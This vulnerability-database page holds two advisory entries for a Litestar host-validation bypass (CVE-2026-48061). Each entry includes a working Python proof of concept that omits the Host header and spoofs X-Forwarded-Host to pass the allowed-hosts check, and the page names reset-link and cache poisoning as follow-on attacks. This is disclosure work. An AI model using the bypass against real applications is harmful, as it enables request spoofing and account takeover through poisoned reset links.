Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    GHSA-3QMC-CJ7Q-62HV

    Vulnerability from github – Published: 2026-06-10 19:12 – Updated: 2026-06-10 19:12
    VLAI
    Summary
    Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header
    Details

    Summary

    AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.

    Details

    In AllowedHostsMiddleware.__call__, the host value used for validation is resolved as follows:

    https://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68

    headers = MutableScopeHeaders(scope=scope)
    if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]:
        if self.allowed_hosts_regex.fullmatch(host):
            await self.app(scope, receive, send)
            return
    

    When Host is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to X-Forwarded-Host without any verification that the request actually passed through a trusted reverse proxy.

    An attacker can send a request with no Host header and set X-Forwarded-Host to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.

    This is particularly dangerous when applications use the resolved host value for: - Generating password reset links (Host header injection → link points to attacker domain) - Cache key generation (cache poisoning) - Routing or backend selection decisions

    PoC

    """
    PoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0
    
    Affected:
      litestar/middleware/allowed_hosts.py:68
      -> headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]
    """
    
    import asyncio
    from litestar import Litestar, get
    from litestar.config.allowed_hosts import AllowedHostsConfig
    from litestar.testing import TestClient
    
    
    @get("/")
    async def index() -> dict:
        return {"status": "ok"}
    
    
    app = Litestar(
        route_handlers=[index],
        allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]),
    )
    
    
    # --- 1. Baseline: invalid host is blocked ---
    
    with TestClient(app=app) as c:
        resp = c.get("/", headers={"host": "evil.com"})
        assert resp.status_code == 400
        print(f"[*] Host: evil.com -> {resp.status_code} (blocked)")
    
    
    # --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---
    
    async def test_bypass():
        scope = {
            "type": "http",
            "method": "GET",
            "path": "/",
            "root_path": "",
            "scheme": "http",
            "query_string": b"",
            "headers": [
                # No "host" header — only x-forwarded-host
                (b"x-forwarded-host", b"trusted.example.com"),
            ],
            "server": ("testserver", 80),
            "app": app,
            "litestar_app": app,
            "state": {},
        }
    
        captured = {}
    
        async def receive():
            return {"type": "http.request", "body": b""}
    
        async def send(message):
            if message["type"] == "http.response.start":
                captured["status"] = message["status"]
    
        await app(scope, receive, send)
        return captured["status"]
    
    status = asyncio.run(test_bypass())
    print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)")
    assert status == 200, f"Expected 200, got {status}"
    print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host")
    

    Output:

    [*] Host: evil.com -> 400 (blocked)
    [*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed)
    [!] AllowedHosts check passed using client-controlled X-Forwarded-Host
    

    Impact

    This is a host validation bypass vulnerability. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections.

    An attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:

    • Password reset poisoning: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain
    • Cache poisoning: cached responses keyed on the host value can be polluted with attacker-controlled content
    • Routing manipulation: backend routing decisions based on host value can be influenced
    Show details on source website

    {
      "affected": [
        {
          "package": {
            "ecosystem": "PyPI",
            "name": "litestar"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "2.22.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "aliases": [
        "CVE-2026-48061"
      ],
      "database_specific": {
        "cwe_ids": [
          "CWE-348",
          "CWE-807"
        ],
        "github_reviewed": true,
        "github_reviewed_at": "2026-06-10T19:12:10Z",
        "nvd_published_at": null,
        "severity": "MODERATE"
      },
      "details": "### Summary\n\n`AllowedHostsMiddleware` trusts the `X-Forwarded-Host` header as a fallback when the `Host` header is absent. Since `X-Forwarded-Host` is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the `Host` header and supplying an `X-Forwarded-Host` header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.\n\n### Details\n\nIn `AllowedHostsMiddleware.__call__`, the host value used for validation is resolved as follows:\n\nhttps://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68\n\n```python\nheaders = MutableScopeHeaders(scope=scope)\nif host := headers.get(\"host\", headers.get(\"x-forwarded-host\", \"\")).split(\":\")[0]:\n    if self.allowed_hosts_regex.fullmatch(host):\n        await self.app(scope, receive, send)\n        return\n```\n\nWhen `Host` is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to `X-Forwarded-Host` without any verification that the request actually passed through a trusted reverse proxy.\n\nAn attacker can send a request with no `Host` header and set `X-Forwarded-Host` to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.\n\nThis is particularly dangerous when applications use the resolved host value for:\n- Generating password reset links (`Host` header injection \u2192 link points to attacker domain)\n- Cache key generation (cache poisoning)\n- Routing or backend selection decisions\n\n### PoC\n\n```python\n\"\"\"\nPoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0\n\nAffected:\n  litestar/middleware/allowed_hosts.py:68\n  -\u003e headers.get(\"host\", headers.get(\"x-forwarded-host\", \"\")).split(\":\")[0]\n\"\"\"\n\nimport asyncio\nfrom litestar import Litestar, get\nfrom litestar.config.allowed_hosts import AllowedHostsConfig\nfrom litestar.testing import TestClient\n\n\n@get(\"/\")\nasync def index() -\u003e dict:\n    return {\"status\": \"ok\"}\n\n\napp = Litestar(\n    route_handlers=[index],\n    allowed_hosts=AllowedHostsConfig(allowed_hosts=[\"trusted.example.com\"]),\n)\n\n\n# --- 1. Baseline: invalid host is blocked ---\n\nwith TestClient(app=app) as c:\n    resp = c.get(\"/\", headers={\"host\": \"evil.com\"})\n    assert resp.status_code == 400\n    print(f\"[*] Host: evil.com -\u003e {resp.status_code} (blocked)\")\n\n\n# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---\n\nasync def test_bypass():\n    scope = {\n        \"type\": \"http\",\n        \"method\": \"GET\",\n        \"path\": \"/\",\n        \"root_path\": \"\",\n        \"scheme\": \"http\",\n        \"query_string\": b\"\",\n        \"headers\": [\n            # No \"host\" header \u2014 only x-forwarded-host\n            (b\"x-forwarded-host\", b\"trusted.example.com\"),\n        ],\n        \"server\": (\"testserver\", 80),\n        \"app\": app,\n        \"litestar_app\": app,\n        \"state\": {},\n    }\n\n    captured = {}\n\n    async def receive():\n        return {\"type\": \"http.request\", \"body\": b\"\"}\n\n    async def send(message):\n        if message[\"type\"] == \"http.response.start\":\n            captured[\"status\"] = message[\"status\"]\n\n    await app(scope, receive, send)\n    return captured[\"status\"]\n\nstatus = asyncio.run(test_bypass())\nprint(f\"[*] No Host + X-Forwarded-Host: trusted.example.com -\u003e {status} (bypassed)\")\nassert status == 200, f\"Expected 200, got {status}\"\nprint(f\"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host\")\n```\n\n**Output:**\n```\n[*] Host: evil.com -\u003e 400 (blocked)\n[*] No Host + X-Forwarded-Host: trusted.example.com -\u003e 200 (bypassed)\n[!] AllowedHosts check passed using client-controlled X-Forwarded-Host\n```\n\n### Impact\n\nThis is a host validation bypass vulnerability. Any application using `AllowedHostsConfig` is affected when deployed without a reverse proxy that strips `X-Forwarded-Host`, or when accepting HTTP/1.0 connections.\n\nAn attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:\n\n- **Password reset poisoning**: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain\n- **Cache poisoning**: cached responses keyed on the host value can be polluted with attacker-controlled content\n- **Routing manipulation**: backend routing decisions based on host value can be influenced",
      "id": "GHSA-3qmc-cj7q-62hv",
      "modified": "2026-06-10T19:12:10Z",
      "published": "2026-06-10T19:12:10Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-3qmc-cj7q-62hv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/litestar-org/litestar/commit/6930a20ceb543912cd651b42deae5b9f3637a262"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/litestar-org/litestar"
        }
      ],
      "schema_version": "1.4.0",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header"
    }

    PYSEC-2026-2603

    Vulnerability from pysec - Published: 2026-07-13 15:46 - Updated: 2026-07-13 16:04
    VLAI
    Details

    Summary

    AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.

    Details

    In AllowedHostsMiddleware.__call__, the host value used for validation is resolved as follows:

    https://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68

    headers = MutableScopeHeaders(scope=scope)
    if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]:
        if self.allowed_hosts_regex.fullmatch(host):
            await self.app(scope, receive, send)
            return
    

    When Host is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to X-Forwarded-Host without any verification that the request actually passed through a trusted reverse proxy.

    An attacker can send a request with no Host header and set X-Forwarded-Host to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.

    This is particularly dangerous when applications use the resolved host value for: - Generating password reset links (Host header injection → link points to attacker domain) - Cache key generation (cache poisoning) - Routing or backend selection decisions

    PoC

    """
    PoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0
    
    Affected:
      litestar/middleware/allowed_hosts.py:68
      -> headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]
    """
    
    import asyncio
    from litestar import Litestar, get
    from litestar.config.allowed_hosts import AllowedHostsConfig
    from litestar.testing import TestClient
    
    
    @get("/")
    async def index() -> dict:
        return {"status": "ok"}
    
    
    app = Litestar(
        route_handlers=[index],
        allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]),
    )
    
    
    # --- 1. Baseline: invalid host is blocked ---
    
    with TestClient(app=app) as c:
        resp = c.get("/", headers={"host": "evil.com"})
        assert resp.status_code == 400
        print(f"[*] Host: evil.com -> {resp.status_code} (blocked)")
    
    
    # --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---
    
    async def test_bypass():
        scope = {
            "type": "http",
            "method": "GET",
            "path": "/",
            "root_path": "",
            "scheme": "http",
            "query_string": b"",
            "headers": [
                # No "host" header — only x-forwarded-host
                (b"x-forwarded-host", b"trusted.example.com"),
            ],
            "server": ("testserver", 80),
            "app": app,
            "litestar_app": app,
            "state": {},
        }
    
        captured = {}
    
        async def receive():
            return {"type": "http.request", "body": b""}
    
        async def send(message):
            if message["type"] == "http.response.start":
                captured["status"] = message["status"]
    
        await app(scope, receive, send)
        return captured["status"]
    
    status = asyncio.run(test_bypass())
    print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)")
    assert status == 200, f"Expected 200, got {status}"
    print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host")
    

    Output:

    [*] Host: evil.com -> 400 (blocked)
    [*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed)
    [!] AllowedHosts check passed using client-controlled X-Forwarded-Host
    

    Impact

    This is a host validation bypass vulnerability. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections.

    An attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:

    • Password reset poisoning: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain
    • Cache poisoning: cached responses keyed on the host value can be polluted with attacker-controlled content
    • Routing manipulation: backend routing decisions based on host value can be influenced
    Impacted products
    Name purl
    litestar pkg:pypi/litestar

    {
      "affected": [
        {
          "package": {
            "ecosystem": "PyPI",
            "name": "litestar",
            "purl": "pkg:pypi/litestar"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "2.22.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "1.0.0a0",
            "2.0.0",
            "2.0.0a3",
            "2.0.0a4",
            "2.0.0a5",
            "2.0.0a6",
            "2.0.0a7",
            "2.0.0b1",
            "2.0.0b2",
            "2.0.0b3",
            "2.0.0b4",
            "2.0.0rc1",
            "2.0.1",
            "2.1.0",
            "2.1.1",
            "2.10.0",
            "2.11.0",
            "2.12.0",
            "2.12.1",
            "2.13.0",
            "2.14.0",
            "2.15.0",
            "2.15.1",
            "2.15.2",
            "2.16.0",
            "2.17.0",
            "2.18.0",
            "2.19.0",
            "2.2.0",
            "2.2.1",
            "2.20.0",
            "2.21.0",
            "2.21.1",
            "2.3.0",
            "2.3.1",
            "2.3.2",
            "2.4.0",
            "2.4.1",
            "2.4.2",
            "2.4.3",
            "2.4.4",
            "2.4.5",
            "2.5.0",
            "2.5.1",
            "2.5.2",
            "2.5.3",
            "2.5.4",
            "2.5.5",
            "2.6.0",
            "2.6.1",
            "2.6.2",
            "2.6.3",
            "2.6.4",
            "2.7.0",
            "2.7.1",
            "2.7.2",
            "2.8.0",
            "2.8.1",
            "2.8.2",
            "2.8.3",
            "2.9.0",
            "2.9.1"
          ]
        }
      ],
      "aliases": [
        "CVE-2026-48061",
        "GHSA-3qmc-cj7q-62hv"
      ],
      "details": "### Summary\n\n`AllowedHostsMiddleware` trusts the `X-Forwarded-Host` header as a fallback when the `Host` header is absent. Since `X-Forwarded-Host` is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the `Host` header and supplying an `X-Forwarded-Host` header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.\n\n### Details\n\nIn `AllowedHostsMiddleware.__call__`, the host value used for validation is resolved as follows:\n\nhttps://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68\n\n```python\nheaders = MutableScopeHeaders(scope=scope)\nif host := headers.get(\"host\", headers.get(\"x-forwarded-host\", \"\")).split(\":\")[0]:\n    if self.allowed_hosts_regex.fullmatch(host):\n        await self.app(scope, receive, send)\n        return\n```\n\nWhen `Host` is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to `X-Forwarded-Host` without any verification that the request actually passed through a trusted reverse proxy.\n\nAn attacker can send a request with no `Host` header and set `X-Forwarded-Host` to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.\n\nThis is particularly dangerous when applications use the resolved host value for:\n- Generating password reset links (`Host` header injection \u2192 link points to attacker domain)\n- Cache key generation (cache poisoning)\n- Routing or backend selection decisions\n\n### PoC\n\n```python\n\"\"\"\nPoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0\n\nAffected:\n  litestar/middleware/allowed_hosts.py:68\n  -\u003e headers.get(\"host\", headers.get(\"x-forwarded-host\", \"\")).split(\":\")[0]\n\"\"\"\n\nimport asyncio\nfrom litestar import Litestar, get\nfrom litestar.config.allowed_hosts import AllowedHostsConfig\nfrom litestar.testing import TestClient\n\n\n@get(\"/\")\nasync def index() -\u003e dict:\n    return {\"status\": \"ok\"}\n\n\napp = Litestar(\n    route_handlers=[index],\n    allowed_hosts=AllowedHostsConfig(allowed_hosts=[\"trusted.example.com\"]),\n)\n\n\n# --- 1. Baseline: invalid host is blocked ---\n\nwith TestClient(app=app) as c:\n    resp = c.get(\"/\", headers={\"host\": \"evil.com\"})\n    assert resp.status_code == 400\n    print(f\"[*] Host: evil.com -\u003e {resp.status_code} (blocked)\")\n\n\n# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---\n\nasync def test_bypass():\n    scope = {\n        \"type\": \"http\",\n        \"method\": \"GET\",\n        \"path\": \"/\",\n        \"root_path\": \"\",\n        \"scheme\": \"http\",\n        \"query_string\": b\"\",\n        \"headers\": [\n            # No \"host\" header \u2014 only x-forwarded-host\n            (b\"x-forwarded-host\", b\"trusted.example.com\"),\n        ],\n        \"server\": (\"testserver\", 80),\n        \"app\": app,\n        \"litestar_app\": app,\n        \"state\": {},\n    }\n\n    captured = {}\n\n    async def receive():\n        return {\"type\": \"http.request\", \"body\": b\"\"}\n\n    async def send(message):\n        if message[\"type\"] == \"http.response.start\":\n            captured[\"status\"] = message[\"status\"]\n\n    await app(scope, receive, send)\n    return captured[\"status\"]\n\nstatus = asyncio.run(test_bypass())\nprint(f\"[*] No Host + X-Forwarded-Host: trusted.example.com -\u003e {status} (bypassed)\")\nassert status == 200, f\"Expected 200, got {status}\"\nprint(f\"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host\")\n```\n\n**Output:**\n```\n[*] Host: evil.com -\u003e 400 (blocked)\n[*] No Host + X-Forwarded-Host: trusted.example.com -\u003e 200 (bypassed)\n[!] AllowedHosts check passed using client-controlled X-Forwarded-Host\n```\n\n### Impact\n\nThis is a host validation bypass vulnerability. Any application using `AllowedHostsConfig` is affected when deployed without a reverse proxy that strips `X-Forwarded-Host`, or when accepting HTTP/1.0 connections.\n\nAn attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:\n\n- **Password reset poisoning**: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain\n- **Cache poisoning**: cached responses keyed on the host value can be polluted with attacker-controlled content\n- **Routing manipulation**: backend routing decisions based on host value can be influenced",
      "id": "PYSEC-2026-2603",
      "modified": "2026-07-13T16:04:38.921956Z",
      "published": "2026-07-13T15:46:15.872114Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-3qmc-cj7q-62hv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/litestar-org/litestar/commit/6930a20ceb543912cd651b42deae5b9f3637a262"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/litestar-org/litestar"
        },
        {
          "type": "PACKAGE",
          "url": "https://pypi.org/project/litestar"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-3qmc-cj7q-62hv"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48061"
        }
      ],
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header"
    }